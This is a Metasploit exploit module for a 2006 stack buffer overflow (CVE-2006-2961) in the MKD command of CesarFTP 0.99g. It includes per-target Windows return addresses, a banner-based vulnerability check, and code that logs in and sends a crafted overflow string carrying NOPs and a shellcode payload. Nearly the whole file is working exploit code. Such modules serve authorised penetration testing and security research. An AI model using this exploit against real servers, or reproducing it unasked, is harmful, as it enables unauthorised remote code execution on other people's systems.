##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.

          You must have valid credentials to trigger this vulnerability. Also, you
          only get one chance, so choose your target carefully.
        },
        'Author' => 'MC',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-2961'],
          [ 'OSVDB', '26364'],
          [ 'BID', '18586'],
          [ 'URL', 'http://web.archive.org/web/20060619195555/http://secunia.com:80/advisories/20574/' ],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 250,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
          'Compat' =>
                        {
                          'SymbolLookup' => 'ws2ord',
                        }
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
          [ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ],
          [ 'Windows XP SP2/SP3 English', { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
          # [ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
          # [ 'Windows XP SP3 English',       { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
          [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],
        ],
        'DisclosureDate' => '2006-06-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    connect
    disconnect

    if (banner =~ /CesarFTP 0\.99g/)
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    c = connect_login
    return if not c

    sploit = "\n" * 671 + rand_text_english(3, payload_badchars)
    sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded

    print_status("Trying target #{target.name}...")

    send_cmd(['MKD', sploit], false)

    handler
    disconnect
  end
end
